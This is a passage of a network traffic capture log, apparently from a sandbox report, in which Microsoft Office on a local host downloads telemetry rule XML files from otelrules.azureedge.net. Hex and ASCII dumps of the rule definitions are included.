2024-11-18 16:24:04 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:04 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:04 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162404Z-16547b76f7fxqj4khC1DFWpypw000000038g00000000vffp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:04 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:04 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:04 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:04 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162404Z-164f84587bf5rpzqhC1DFWmra800000005zg00000000hz00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:04 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:04 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:04 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162404Z-16547b76f7fw2955hC1DFWsptc00000006eg00000000rted x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:04 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:05 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 6cd7b429-001e-0034-76a2-37dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162405Z-164f84587bfh9nvdhC1DFWmce000000003z000000000ayp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:05 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:05 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162405Z-16547b76f7f7zzl8hC1DFWmtag00000004y000000000awbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:05 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:05 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:05 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162405Z-16547b76f7f6892shC1DFWawd0000000030000000000g2mb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:05 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:05 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162405Z-16547b76f7fbkfmzhC1DFWm9tw00000005ng00000000gzh2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:05 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:05 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162405Z-16547b76f7fp6s5dhC1DFWe28g00000003c00000000024mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 16:24:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:06 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162406Z-1866b5c5fbbtpjhjhC1DFWr6tw00000005yg0000000097w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:06 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162406Z-16547b76f7fhvzzthC1DFW5570000000060g00000000tysr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:06 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162406Z-1866b5c5fbb2cz68hC1DFW9ytc00000005500000000068s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:06 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
